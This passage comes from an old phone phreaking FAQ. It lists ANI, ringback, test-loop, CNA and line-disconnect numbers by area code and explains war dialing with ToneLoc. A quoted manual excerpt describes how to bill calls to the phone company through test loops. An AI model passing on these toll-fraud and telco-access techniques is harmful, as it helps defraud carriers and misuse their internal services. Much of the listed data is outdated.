805  830              Bakersfield/Santa Barbara, CA&lt;br /&gt; 806  970-xxxx         Amarillo/Lubbock, TX&lt;br /&gt; 810  200200200200200  Flint/Pontiac/Southfield/Troy, MI&lt;br /&gt;N 810  311              Pontiac/Southfield/Troy, MI&lt;br /&gt; 812  410-555-1212     Evansville, IN&lt;br /&gt; 813  311              Ft. Meyers/St. Petersburg/Tampa, FL&lt;br /&gt;N 815  200-3374         Crystal Lake, IL&lt;br /&gt;N 815  270-3374         Crystal Lake, IL&lt;br /&gt;N 815  770-3374         Crystal Lake, IL&lt;br /&gt; 815  200-xxx-xxxx     La Salle/Rockford, IL&lt;br /&gt; 815  290              La Salle/Rockford, IL&lt;br /&gt; 817  211              Ft. Worth/Waco, TX&lt;br /&gt; 817  970-611-1111     Ft. Worth/Waco, TX  (Southwestern Bell)&lt;br /&gt; 818  1223             Pasadena, CA (Some 1AESS switches)&lt;br /&gt; 818  211-2345         Pasadena, CA (English response)&lt;br /&gt; 818  211-2346         Pasadena, CA (DTMF response)&lt;br /&gt;N 860  970              CT&lt;br /&gt; 903  970-611-1111     Tyler, TX&lt;br /&gt; 904  200-222-222      Jackonsville/Pensacola/Tallahasee, FL&lt;br /&gt; 906  1-200-222-2222   Marquette/Sault Ste. Marie, MI&lt;br /&gt; 907  811              AK&lt;br /&gt; 908  958              New Brunswick, NJ&lt;br /&gt;N 909  111              Riverside/San Bernardino, CA (GTE)&lt;br /&gt; 910  200              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC&lt;br /&gt; 910  311              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC&lt;br /&gt; 910  988              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC&lt;br /&gt; 914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY&lt;br /&gt; 915  970-xxxx         Abilene/El Paso, TX&lt;br /&gt;N 916  211-0007         Sacramento, CA (Pac Bell)&lt;br /&gt; 916  461              Sacramento, CA (Roseville Telephone)&lt;br /&gt; 919  200              Durham, NC&lt;br /&gt; 919  711              Durham, NC&lt;br /&gt;N 954  200-555-1212     Ft. Lauderdale, FL&lt;br /&gt;N 954  200200200200200  Ft. Lauderdale, FL&lt;br /&gt;N 954  780-2411         Ft. Lauderdale, FL&lt;br /&gt;&lt;br /&gt; Canada:&lt;br /&gt; 204  644-4444         Manitoba&lt;br /&gt; 306  115              Saskatchewan&lt;br /&gt; 403  311              Alberta, Yukon and N.W. Territory&lt;br /&gt; 403  908-222-2222     Alberta, Yukon and N.W. Territory&lt;br /&gt; 403  999              Alberta, Yukon and N.W. Territory&lt;br /&gt; 416  997-xxxx         Toronto, Ontario&lt;br /&gt; 506  1-555-1313       New Brunswick&lt;br /&gt; 514  320-xxxx         Montreal, Quebec&lt;br /&gt;U 514  320-1232         Montreal, Quebec&lt;br /&gt;U 514  320-1223         Montreal, Quebec&lt;br /&gt;U 514  320-1233         Montreal, Quebec&lt;br /&gt; 519  320-xxxx         London, Ontario&lt;br /&gt; 604  1116             British Columbia&lt;br /&gt; 604  1211             British Columbia&lt;br /&gt; 604  211              British Columbia&lt;br /&gt; 613  320-2232         Ottawa, Ontario&lt;br /&gt; 705  320-4567         North Bay/Saulte Ste. Marie, Ontario&lt;br /&gt;N 819  320-1112         Quebec&lt;br /&gt;&lt;br /&gt; Australia:&lt;br /&gt; +61  03-552-4111      Victoria 03 area&lt;br /&gt; +612 19123            All major capital cities&lt;br /&gt; +612 11544&lt;br /&gt;&lt;br /&gt; United Kingdom:&lt;br /&gt; 175&lt;br /&gt;&lt;br /&gt; Israel:&lt;br /&gt; 110&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;12. What is a ringback number?&lt;br /&gt;&lt;br /&gt;A ringback number is a number that you call that will immediately&lt;br /&gt;ring the telephone from which it was called.&lt;br /&gt;&lt;br /&gt;In most instances you must call the ringback number, quickly hang up&lt;br /&gt;the phone for just a short moment and then let up on the switch, you&lt;br /&gt;will then go back off hook and hear a different tone.  You may then&lt;br /&gt;hang up.  You will be called back seconds later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;13. What is the ringback number for my area?&lt;br /&gt;&lt;br /&gt;An 'x' means insert those numbers from the phone number from which you&lt;br /&gt;are calling.  A '?' means that the number varies from switch to switch&lt;br /&gt;in the area, or changes from time to time.  Try all possible&lt;br /&gt;combinations.&lt;br /&gt;&lt;br /&gt;If the ringback for your NPA is not listed, try common ones such as 114,&lt;br /&gt;951-xxx-xxxx, 954, 957 and 958.  Also, try using the numbers listed for&lt;br /&gt;other NPA's served by your telephone company.&lt;br /&gt;&lt;br /&gt;Note: These geographic areas are for reference purposes only.  Ringback&lt;br /&gt;numbers may vary from switch to switch within the same city.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; NPA  Ringback number  Approximate Geographic area&lt;br /&gt; ---  ---------------  ---------------------------------------------&lt;br /&gt; 201  55?-xxxx         Hackensack/Jersey City/Newark/Paterson, NJ&lt;br /&gt; 202  958-xxxx         District of Columbia&lt;br /&gt; 203  99?-xxxx         CT&lt;br /&gt; 206  571-xxxx         WA&lt;br /&gt;N 208  59X-xxxx         ID&lt;br /&gt; 208  99xxx-xxxx       ID&lt;br /&gt;N 210  211-8849-xxxx    Brownsville/Laredo/San Antonio, TX (GTE)&lt;br /&gt; 213  1-95x-xxxx       Los Angeles, CA&lt;br /&gt;N 214  971-xxxx         Dallas, TX&lt;br /&gt; 215  811-xxxx         Philadelphia, PA&lt;br /&gt; 216  551-xxxx         Akron/Canton/Cleveland/Lorain/Youngstown, OH&lt;br /&gt; 219  571-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN&lt;br /&gt; 219  777-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN&lt;br /&gt; 301  579-xxxx         Hagerstown/Rockville, MD&lt;br /&gt; 301  958-xxxx         Hagerstown/Rockville, MD&lt;br /&gt; 303  99X-xxxx         Grand Junction, CO&lt;br /&gt; 304  998-xxxx         WV&lt;br /&gt; 305  999-xxxx         Ft. Lauderdale/Key West/Miami, FL&lt;br /&gt; 312  511-xxxx         Chicago, IL&lt;br /&gt; 312  511-xxx-xxxx     Chicago, IL&lt;br /&gt; 312  57?-xxxx         Chicago, IL&lt;br /&gt; 315  98x-xxxx         Syracuse/Utica, NY&lt;br /&gt; 317  777-xxxx         Indianapolis/Kokomo, IN&lt;br /&gt; 317  yyy-xxxx         Indianapolis/Kokomo, IN (y=3rd digit of phone number)&lt;br /&gt; 319  79x-xxxx         Davenport/Dubuque, Iowa&lt;br /&gt; 334  901-xxxx         Montgomery, AL&lt;br /&gt; 401  98?-xxxx         RI&lt;br /&gt; 404  450-xxxx         Atlanta, GA&lt;br /&gt; 407  988-xxxx         Orlando/West Palm Beach, FL&lt;br /&gt; 408  470-xxxx         San Jose, CA&lt;br /&gt; 408  580-xxxx         San Jose, CA&lt;br /&gt; 412  985-xxxx         Pittsburgh, PA&lt;br /&gt; 414  977-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI&lt;br /&gt; 414  978-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI&lt;br /&gt; 415  350-xxxx         San Francisco, CA&lt;br /&gt; 417  551-xxxx         Joplin/Springfield, MO&lt;br /&gt; 501  221-xxx-xxxx     AR&lt;br /&gt; 501  721-xxx-xxxx     AR&lt;br /&gt; 502  988              Frankfort/Louisville/Paducah/Shelbyville, KY&lt;br /&gt; 503  541-XXXX         OR&lt;br /&gt; 504  99x-xxxx         Baton Rouge/New Orleans, LA&lt;br /&gt; 504  9988776655       Baton Rouge/New Orleans, LA&lt;br /&gt; 505  59?-xxxx         New Mexico&lt;br /&gt; 512  95X-xxxx         Austin, TX&lt;br /&gt; 513  951-xxxx         Cincinnati/Dayton, OH&lt;br /&gt; 513  955-xxxx         Cincinnati/Dayton, OH&lt;br /&gt; 513  99?-xxxx         Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)&lt;br /&gt;N 515  559-XXXX         Des Moines, IA&lt;br /&gt; 516  660-xxx-xxxx     Hempstead/Long Island, NY&lt;br /&gt; 601  777-xxxx         MS&lt;br /&gt; 609  55?-xxxx         Atlantic City/Camden/Trenton/Vineland, NJ&lt;br /&gt; 610  811-xxxx         Allentown/Reading, PA&lt;br /&gt; 612  511              Minneapolis/St.Paul, MN&lt;br /&gt; 612  999-xxx-xxxx     Minneapolis/St.Paul, MN&lt;br /&gt;N 613  999-xxx-xxxx     Ottawa, Ontario&lt;br /&gt; 614  998-xxxx         Columbus/Steubenville, OH&lt;br /&gt; 615  920-XXXX         Chatanooga/Knoxville/Nashville, TN&lt;br /&gt; 615  930-xxxx         Chatanooga/Knoxville/Nashville, TN&lt;br /&gt; 616  946-xxxx         Battle Creek/Grand Rapids/Kalamazoo, MI&lt;br /&gt; 619  331-xxxx         San Diego, CA&lt;br /&gt; 619  332-xxxx         San Diego, CA&lt;br /&gt;N 659  981-XXXX         Newmarket, NH&lt;br /&gt;N 703  511-xxx-xxxx     VA&lt;br /&gt; 703  958-xxxx         Alexandria/Arlington/Roanoke, VA&lt;br /&gt; 708  511-xxxx         Chicago/Elgin, IL&lt;br /&gt;N 713  231-xxxx         Los Angeles, CA&lt;br /&gt; 714  330?             Anaheim, CA (GTE)&lt;br /&gt; 714  33?-xxxx         Anaheim, CA (PacBell)&lt;br /&gt; 716  981-xxxx         Rochester, NY (Rochester Tel)&lt;br /&gt; 718  660-xxxx         Bronx/Brooklyn/Queens/Staten Island, NY&lt;br /&gt; 719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO&lt;br /&gt; 801  938-xxxx         Utah&lt;br /&gt; 801  939-xxxx         Utah&lt;br /&gt; 802  987-xxxx         Vermont&lt;br /&gt; 804  260              Charlottesville/Newport News/Norfolk/Richmond, VA&lt;br /&gt; 805  114              Bakersfield/Santa Barbara, CA&lt;br /&gt; 805  980-xxxx         Bakersfield/Santa Barbara, CA&lt;br /&gt; 810  951-xxx-xxxx     Pontiac/Southfield/Troy, MI&lt;br /&gt; 813  711              Ft. Meyers/St. Petersburg/Tampa, FL&lt;br /&gt; 817  971              Ft. Worth/Waco, TX (Flashhook, then 2#)&lt;br /&gt; 906  951-xxx-xxxx     Marquette/Sault Ste. Marie, MI&lt;br /&gt; 908  55?-xxxx         New Brunswick, NJ&lt;br /&gt; 908  953              New Brunswick, NJ&lt;br /&gt; 913  951-xxxx         Lawrence/Salina/Topeka, KS&lt;br /&gt; 914  660-xxxx-xxxx    Peekskill/Poughkeepsie/White Plains/Yonkers, NY&lt;br /&gt;&lt;br /&gt; Canada:&lt;br /&gt; 204  590-xxx-xxxx     Manitoba&lt;br /&gt; 416  57x-xxxx         Toronto, Ontario&lt;br /&gt; 416  99x-xxxx         Toronto, Ontario&lt;br /&gt; 416  999-xxx-xxxx     Toronto, Ontario&lt;br /&gt; 506  572+xxx-xxxx     New Brunswick&lt;br /&gt; 514  320-xxx-xxxx     Montreal, Quebec&lt;br /&gt; 519  999-xxx-xxxx     London, Ontario&lt;br /&gt;N 604  311-xxx-xxxx     British Columbia&lt;br /&gt; 613  999-xxx-xxxx     Ottawa, Ontario&lt;br /&gt; 705  999-xxx-xxxx     North Bay/Saulte Ste. Marie, Ontario&lt;br /&gt;N 819  320-xxx-xxxx     Quebec&lt;br /&gt;N 905  999-xxx-xxxx     Hamilton/Mississauga/Niagra Falls, Ontario&lt;br /&gt;&lt;br /&gt; Australia:            +61 199&lt;br /&gt; Brazil:               109 or 199&lt;br /&gt;N France:               3644&lt;br /&gt; Holland:              99-xxxxxx&lt;br /&gt; New Zealand:          137&lt;br /&gt; Sweden:               0058&lt;br /&gt; United Kingdom:       174 or 1744 or 175 or 0500-89-0011&lt;br /&gt;N Amsterdam             0196&lt;br /&gt;N Hilversum             0123456789&lt;br /&gt;N Breukelen             0123456789&lt;br /&gt;N Groningen             951&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;14. What is a loop?&lt;br /&gt;&lt;br /&gt;This FAQ answer is excerpted from: ToneLoc v0.99 User Manual&lt;br /&gt;      by Minor Threat &amp;amp; Mucho Maas&lt;br /&gt;&lt;br /&gt;Loops are a pair of phone numbers, usually consecutive, like 836-9998&lt;br /&gt;and 836-9999.  They are used by the phone company for testing.  What&lt;br /&gt;good do loops do us?  Well, they are cool in a few ways.  Here is a&lt;br /&gt;simple use of loops.  Each loop has two ends, a 'high' end, and a&lt;br /&gt;'low' end.  One end gives a (usually) constant, loud tone when it is&lt;br /&gt;called. The other end is silent.  Loops don't usually ring either.&lt;br /&gt;When BOTH ends are called, the people that called each end can talk&lt;br /&gt;through the loop.  Some loops are voice filtered and won't pass&lt;br /&gt;anything but a constant tone; these aren't much use to you.  Here's&lt;br /&gt;what you can use working loops for:  billing phone calls!  First, call&lt;br /&gt;the end that gives the loud tone.  Then if the operator or someone&lt;br /&gt;calls the other end, the tone will go quiet.  Act like the phone just&lt;br /&gt;rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or&lt;br /&gt;what the fuck ever.  The operator thinks that she just called you, and&lt;br /&gt;that's it!  Now the phone bill will go to the loop, and your local&lt;br /&gt;RBOC will get the bill!  Use this technique in moderation, or the loop&lt;br /&gt;may go down.  Loops are probably most useful when you want to talk to&lt;br /&gt;someone to whom you don't want to give your phone number.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;15. What is a loop in my area?&lt;br /&gt;&lt;br /&gt;Many of these loops are no longer functional.  If you are local&lt;br /&gt;to any of these loops, please try them out an e-mail me the results&lt;br /&gt;of your research.&lt;br /&gt;&lt;br /&gt; NPA    High      Low&lt;br /&gt; ---  --------  --------&lt;br /&gt; 201  666-9929  666-9930&lt;br /&gt; 208  862-9996  862-9997&lt;br /&gt; 209  732-0044  732-0045&lt;br /&gt; 201  666-9929  666-9930&lt;br /&gt; 213  360-1118  360-1119&lt;br /&gt; 213  365-1118  365-1119&lt;br /&gt; 213  455-0002  455-XXXX&lt;br /&gt; 213  455-0002  455-xxxx&lt;br /&gt; 213  546-0002  546-XXXX&lt;br /&gt; 213  546-0002  546-xxxx&lt;br /&gt; 213  549-1118  549-1119&lt;br /&gt; 305  964-9951  964-9952&lt;br /&gt; 307  468-9999  468-9998&lt;br /&gt; 308  357-0004  357-0005&lt;br /&gt; 312  262-9902  262-9903&lt;br /&gt; 313  224-9996  224-9997&lt;br /&gt; 313  225-9996  225-9997&lt;br /&gt; 313  234-9996  234-9997&lt;br /&gt; 313  237-9996  237-9997&lt;br /&gt; 313  256-9996  256-9997&lt;br /&gt; 313  272-9996  272-9997&lt;br /&gt; 313  273-9996  273-9997&lt;br /&gt; 313  277-9996  277-9997&lt;br /&gt; 313  281-9996  281-9997&lt;br /&gt; 313  292-9996  292-9997&lt;br /&gt; 313  299-9996  299-9997&lt;br /&gt; 313  321-9996  321-9997&lt;br /&gt; 313  326-9996  326-9997&lt;br /&gt; 313  356-9996  356-9997&lt;br /&gt; 313  362-9996  362-9997&lt;br /&gt; 313  369-9996  369-9997&lt;br /&gt; 313  388-9996  388-9997&lt;br /&gt; 313  397-9996  397-9997&lt;br /&gt; 313  399-9996  399-9997&lt;br /&gt; 313  445-9996  445-9997&lt;br /&gt; 313  465-9996  465-9997&lt;br /&gt; 313  471-9996  471-9997&lt;br /&gt; 313  474-9996  474-9997&lt;br /&gt; 313  477-9996  477-9997&lt;br /&gt; 313  478-9996  478-9997&lt;br /&gt; 313  483-9996  483-9997&lt;br /&gt; 313  497-9996  497-9997&lt;br /&gt; 313  526-9996  526-9997&lt;br /&gt; 313  552-9996  552-9997&lt;br /&gt; 313  556-9996  556-9997&lt;br /&gt; 313  561-9996  561-9997&lt;br /&gt; 313  569-9996  569-9996&lt;br /&gt; 313  575-9996  575-9997&lt;br /&gt; 313  577-9996  577-9997&lt;br /&gt; 313  585-9996  585-9997&lt;br /&gt; 313  591-9996  591-9997&lt;br /&gt; 313  621-9996  621-9997&lt;br /&gt; 313  626-9996  626-9997&lt;br /&gt; 313  644-9996  644-9997&lt;br /&gt; 313  646-9996  646-9997&lt;br /&gt; 313  647-9996  647-9997&lt;br /&gt; 313  649-9996  649-9997&lt;br /&gt; 313  663-9996  663-9997&lt;br /&gt; 313  665-9996  665-9997&lt;br /&gt; 313  683-9996  683-9997&lt;br /&gt; 313  721-9996  721-9997&lt;br /&gt; 313  722-9996  722-9997&lt;br /&gt; 313  728-9996  728-9997&lt;br /&gt; 313  731-9996  731-9997&lt;br /&gt; 313  751-9996  751-9997&lt;br /&gt; 313  776-9996  776-9997&lt;br /&gt; 313  781-9996  781-9997&lt;br /&gt; 313  787-9996  787-9997&lt;br /&gt; 313  822-9996  822-9997&lt;br /&gt; 313  833-9996  833-9997&lt;br /&gt; 313  851-9996  851-9997&lt;br /&gt; 313  871-9996  871-9997&lt;br /&gt; 313  875-9996  875-9997&lt;br /&gt; 313  886-9996  886-9997&lt;br /&gt; 313  888-9996  888-9997&lt;br /&gt; 313  898-9996  898-9997&lt;br /&gt; 313  934-9996  934-9997&lt;br /&gt; 313  942-9996  942-9997&lt;br /&gt; 313  963-9996  963-9997&lt;br /&gt; 313  977-9996  977-9997&lt;br /&gt; 315  673-9995  673-9996&lt;br /&gt; 315  695-9995  695-9996&lt;br /&gt; 402  422-0001  422-0002&lt;br /&gt; 402  422-0003  422-0004&lt;br /&gt; 402  422-0005  422-0006&lt;br /&gt; 402  422-0007  422-0008&lt;br /&gt; 402  572-0003  572-0004&lt;br /&gt; 402  779-0004  779-0007&lt;br /&gt; 406  225-9902  225-9903&lt;br /&gt;N 408  238-0044  238-0045&lt;br /&gt;N 408  272-0044  272-0045&lt;br /&gt;N 408  729-0044  729-0045&lt;br /&gt;N 408  773-0044  773-0045&lt;br /&gt;N 408  926-0044  926-0045&lt;br /&gt; 517  422-9996  422-9997&lt;br /&gt; 517  423-9996  423-9997&lt;br /&gt; 517  455-9996  455-9997&lt;br /&gt; 517  563-9996  563-9997&lt;br /&gt; 517  663-9996  663-9997&lt;br /&gt; 517  851-9996  851-9997&lt;br /&gt; 609  921-9929  921-9930&lt;br /&gt; 609  994-9929  994-9930&lt;br /&gt; 613            966-1111&lt;br /&gt; 616  997-9996  997-9997&lt;br /&gt; 708  724-9951  724-????&lt;br /&gt; 713  224-1499  759-1799&lt;br /&gt; 713  324-1499  324-1799&lt;br /&gt; 713  342-1499  342-1799&lt;br /&gt; 713  351-1499  351-1799&lt;br /&gt; 713  354-1499  354-1799&lt;br /&gt; 713  356-1499  356-1799&lt;br /&gt; 713  442-1499  442-1799&lt;br /&gt; 713  447-1499  447-1799&lt;br /&gt; 713  455-1499  455-1799&lt;br /&gt; 713  458-1499  458-1799&lt;br /&gt; 713  462-1499  462-1799&lt;br /&gt; 713  466-1499  466-1799&lt;br /&gt; 713  468-1499  468-1799&lt;br /&gt; 713  469-1499  469-1799&lt;br /&gt; 713  471-1499  471-1799&lt;br /&gt; 713  481-1499  481-1799&lt;br /&gt; 713  482-1499  482-1799&lt;br /&gt; 713  484-1499  484-1799&lt;br /&gt; 713  487-1499  487-1799&lt;br /&gt; 713  489-1499  489-1799&lt;br /&gt; 713  492-1499  492-1799&lt;br /&gt; 713  493-1499  493-1799&lt;br /&gt; 713  524-1499  524-1799&lt;br /&gt; 713  526-1499  526-1799&lt;br /&gt; 713  555-1499  555-1799&lt;br /&gt; 713  661-1499  661-1799&lt;br /&gt; 713  664-1499  664-1799&lt;br /&gt; 713  665-1499  665-1799&lt;br /&gt; 713  666-1499  666-1799&lt;br /&gt; 713  667-1499  667-1799&lt;br /&gt; 713  682-1499  976-1799&lt;br /&gt; 713  771-1499  771-1799&lt;br /&gt; 713  780-1499  780-1799&lt;br /&gt; 713  781-1499  997-1799&lt;br /&gt; 713  960-1499  960-1799&lt;br /&gt; 713  977-1499  977-1799&lt;br /&gt; 713  988-1499  988-1799&lt;br /&gt;N 719  598-0009  598-0010&lt;br /&gt; 805  528-0044  528-0045&lt;br /&gt; 805  544-0044  544-0045&lt;br /&gt; 805  773-0044  773-0045&lt;br /&gt; 808  235-9907  235-9908&lt;br /&gt; 808  239-9907  239-9908&lt;br /&gt; 808  245-9907  245-9908&lt;br /&gt; 808  247-9907  247-9908&lt;br /&gt; 808  261-9907  261-9908&lt;br /&gt; 808  322-9907  322-9908&lt;br /&gt; 808  328-9907  328-9908&lt;br /&gt; 808  329-9907  329-9908&lt;br /&gt; 808  332-9907  332-9908&lt;br /&gt; 808  335-9907  335-9908&lt;br /&gt; 808  572-9907  572-9908&lt;br /&gt; 808  623-9907  623-9908&lt;br /&gt; 808  624-9907  624-9908&lt;br /&gt; 808  668-9907  668-9908&lt;br /&gt; 808  742-9907  742-9908&lt;br /&gt; 808  879-9907  879-9908&lt;br /&gt; 808  882-9907  882-9908&lt;br /&gt; 808  885-9907  885-9908&lt;br /&gt; 808  959-9907  959-9908&lt;br /&gt; 808  961-9907  961-9908&lt;br /&gt; 810  362-9996  362-9997&lt;br /&gt; 813  385-9971  385-xxxx&lt;br /&gt; 908  254-9929  254-9930&lt;br /&gt; 908  558-9929  558-9930&lt;br /&gt; 908  560-9929  560-9930&lt;br /&gt; 908  776-9930  776-9930&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;16. What is a CNA number?&lt;br /&gt;&lt;br /&gt;CNA stands for Customer Name and Address.  The CNA number is a phone&lt;br /&gt;number for telephone company personnel to call and get the name and&lt;br /&gt;address for a phone number.  If a telephone lineman finds a phone line&lt;br /&gt;he does not recognize, he can use the ANI number to find its phone&lt;br /&gt;number and then call the CNA operator to see who owns it and where&lt;br /&gt;they live.&lt;br /&gt;&lt;br /&gt;Normal CNA numbers are available only to telephone company personnel.&lt;br /&gt;Private citizens may legally get CNA information from private&lt;br /&gt;companies.  Two such companies are:&lt;br /&gt;&lt;br /&gt;Unidirectory    (900)933-3330&lt;br /&gt;Telename        (900)884-1212&lt;br /&gt;&lt;br /&gt;Note that these are 900 numbers, and will cost you approximately one&lt;br /&gt;dollar per minute.&lt;br /&gt;&lt;br /&gt;If you are in 312 or 708, AmeriTech has a pay-for-play CNA service&lt;br /&gt;available to the general public.  The number is 796-9600.  The cost is&lt;br /&gt;$.35/call and can look up two numbers per call.&lt;br /&gt;&lt;br /&gt;If you are in 415, Pacific Bell offers a public access CNL service at&lt;br /&gt;(415)705-9299.&lt;br /&gt;&lt;br /&gt;If you are in Bell Atlantic territory you can call (201)555-5454 or&lt;br /&gt;(908)555-5454 for automated CNA information.  The cost is $.50/call.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;17. What is the telephone company CNA number for my area?&lt;br /&gt;&lt;br /&gt; 203    (203)771-8080         CT&lt;br /&gt; 312    (312)796-9600         Chicago, IL&lt;br /&gt; 506    (506)555-1313         New Brunswick&lt;br /&gt; 513    (513)397-9110         Cincinnati/Dayton, OH&lt;br /&gt; 516    (516)321-5700         Hempstead/Long Island, NY&lt;br /&gt; 614    (614)464-0123         Columbus/Steubenville, OH&lt;br /&gt; 813    (813)270-8711         Ft. Meyers/St. Petersburg/Tampa, FL&lt;br /&gt; NYNEX  (518)471-8111         New York, Connecticut, Vermont, Rhode&lt;br /&gt;                              Island, New Hampshire, and Massachusetts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;18. What are some numbers that always ring busy?&lt;br /&gt;&lt;br /&gt;In the following listings, "xxx" means that the same number is used as a&lt;br /&gt;constantly busy number in many different prefixes.  In most of these,&lt;br /&gt;there are some exchanges that ring busy and some exchanges that are in&lt;br /&gt;normal use.  *ALWAYS* test these numbers at least three times during&lt;br /&gt;normal business hours before using as a constantly busy number.&lt;br /&gt;&lt;br /&gt;N 800  999-1803              WATS&lt;br /&gt;N 201  635-9970              Hackensack/Jersey City/Newark/Paterson, NJ&lt;br /&gt;N 212  724-9970              Manhattan, NY&lt;br /&gt;N 213  xxx-1117              Los Angeles, CA&lt;br /&gt;N 213  xxx-1118              Los Angeles, CA&lt;br /&gt;N 213  xxx-1119              Los Angeles, CA&lt;br /&gt;N 213  xxx-9198              Los Angeles, CA&lt;br /&gt; 216  xxx-9887              Akron/Canton/Cleveland/Lorain/Youngstown, OH&lt;br /&gt; 303  431-0000              Denver, CO&lt;br /&gt; 303  866-8660              Denver, CO&lt;br /&gt;N 310  xxx-1117              Long Beach, CA&lt;br /&gt;N 310  xxx-1118              Long Beach, CA&lt;br /&gt;N 310  xxx-1119              Long Beach, CA&lt;br /&gt;N 310  xxx-9198              Long Beach, CA&lt;br /&gt; 316  952-7265              Dodge City/Wichita, KS&lt;br /&gt; 501  377-99xx              AR&lt;br /&gt;U 719  472-3772              Colorado Springs/Leadville/Pueblo, CO&lt;br /&gt; 805  255-0699              Bakersfield/Santa Barbara, CA&lt;br /&gt;N 714  xxx-1117              Anaheim, CA&lt;br /&gt;N 714  xxx-1118              Anaheim, CA&lt;br /&gt;N 714  xxx-1119              Anaheim, CA&lt;br /&gt;N 714  xxx-9198              Anaheim, CA&lt;br /&gt;N 717  292-0009              Harrisburg/Scranton/Wilkes-Barre, PA&lt;br /&gt;N 818  xxx-1117              Pasadena, CA&lt;br /&gt;N 818  xxx-1118              Pasadena, CA&lt;br /&gt;N 818  xxx-1119              Pasadena, CA&lt;br /&gt;N 818  xxx-9198              Pasadena, CA&lt;br /&gt;U 818  885-0699              Pasadena, CA  (???-0699 is a pattern)&lt;br /&gt;N 860  525-7078              Hartford, CT&lt;br /&gt; 906  632-9999              Marquette/Sault Ste. Marie, MI&lt;br /&gt; 906  635-9999              Marquette/Sault Ste. Marie, MI&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;19. What are some numbers that temporarily disconnect phone service?&lt;br /&gt;&lt;br /&gt; If your NPA is not listed, or the listing does not cover your LATA,&lt;br /&gt; try common numbers such as 119 (GTD5 switches) or 511.&lt;br /&gt;&lt;br /&gt; 314  511        Columbia/Jefferson City/St.Louis, MO       (1 minute)&lt;br /&gt; 404  420        Atlanta, GA                                (5 minutes)&lt;br /&gt; 405  953        Enid/Oklahoma City, OK                     (1 minute)&lt;br /&gt;U 407  511        Orlando, FL (United Telephone)             (1 minute)&lt;br /&gt;N 414 958-0013    Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)&lt;br /&gt; 512  200        Austin/Corpus Christi, TX                  (1 minute)&lt;br /&gt; 516  480        Hempstead/Long Island, NY                  (1 minute)&lt;br /&gt; 603  980        NH&lt;br /&gt; 614  xxx-9894   Columbus/Steubenville, OH&lt;br /&gt; 805  119        Bakersfield/Santa Barbara, CA              (3 minutes)&lt;br /&gt; 919  211 or 511 Durham, NC                                 (10 min - 1 hour)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;20. What is a Proctor Test Set?&lt;br /&gt;&lt;br /&gt;A Proctor Test Set is a tool used by telco personnel to diagnose&lt;br /&gt;problems with phone lines.  You call the Proctor Test Set number and&lt;br /&gt;press buttons on a touch tone phone to active the tests you select.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;21. What is a Proctor Test Set in my area?&lt;br /&gt;&lt;br /&gt; If your NPA is not listed try common numbers such as 111 or 117.&lt;br /&gt;&lt;br /&gt; 805  111        Bakersfield/Santa Barbara, CA&lt;br /&gt; 909  117        Tyler, TX&lt;br /&gt; 913  611-1111   Lawrence/Salina/Topeka, KS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;22. What is scanning?&lt;br /&gt;&lt;br /&gt;Scanning is dialing a large number of telephone numbers in the hope&lt;br /&gt;of finding interesting carriers (computers) or tones.&lt;br /&gt;&lt;br /&gt;Scanning can be done by hand, although dialing several thousand&lt;br /&gt;telephone numbers by hand is extremely boring and takes a long time.&lt;br /&gt;&lt;br /&gt;Much better is to use a scanning program, sometimes called a war&lt;br /&gt;dialer or a demon dialer.  Currently, the best war dialer available to&lt;br /&gt;PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.  ToneLoc can&lt;br /&gt;be ftp'd from ftp.paranoia.com /pub/toneloc/.&lt;br /&gt;&lt;br /&gt;A war dialer will dial a range of numbers and log what it finds at&lt;br /&gt;each number.  You can then only dial up the numbers that the war&lt;br /&gt;dialer marked as carriers or tones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;23. Is scanning illegal?&lt;br /&gt;&lt;br /&gt;Excerpt from: 2600, Spring 1990, Page 27:&lt;br /&gt;&lt;br /&gt;-BQ-&lt;br /&gt;In some places, scanning has been made illegal.  It would be hard,&lt;br /&gt;though, for someone to file a complaint against you for scanning since&lt;br /&gt;the whole purpose is to call every number once and only once.  It's&lt;br /&gt;not likely to be thought of as harassment by anyone who gets a single&lt;br /&gt;phone call from a scanning computer.  Some central offices have been&lt;br /&gt;known to react strangely when people start scanning.  Sometimes you're&lt;br /&gt;unable to get a dialtone for hours after you start scanning.  But&lt;br /&gt;there is no uniform policy.  The best thing to do is to first find out&lt;br /&gt;if you've got some crazy law saying you can't do it.  If, as is&lt;br /&gt;likely, there is no such law, the only way to find out what happens is&lt;br /&gt;to give it a try.&lt;br /&gt;-EQ-&lt;br /&gt;&lt;br /&gt;It should be noted that a law making scanning illegal was recently&lt;br /&gt;passed in Colorado Springs, CO.  It is now illegal to place a call&lt;br /&gt;in Colorado Springs without the intent to communicate.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;24. Where can I purchase a lineman's handset?&lt;br /&gt;&lt;br /&gt;Contact East&lt;br /&gt;335 Willow Street&lt;br /&gt;North Andover, MA 01845-5995&lt;br /&gt;(508)682-2000&lt;br /&gt;&lt;br /&gt;Jensen Tools&lt;br /&gt;7815 S. 46th Street&lt;br /&gt;Phoenix, AZ 85044-5399&lt;br /&gt;(800)426-1194&lt;br /&gt;&lt;br /&gt;Specialized Products&lt;br /&gt;3131 Premier Drive&lt;br 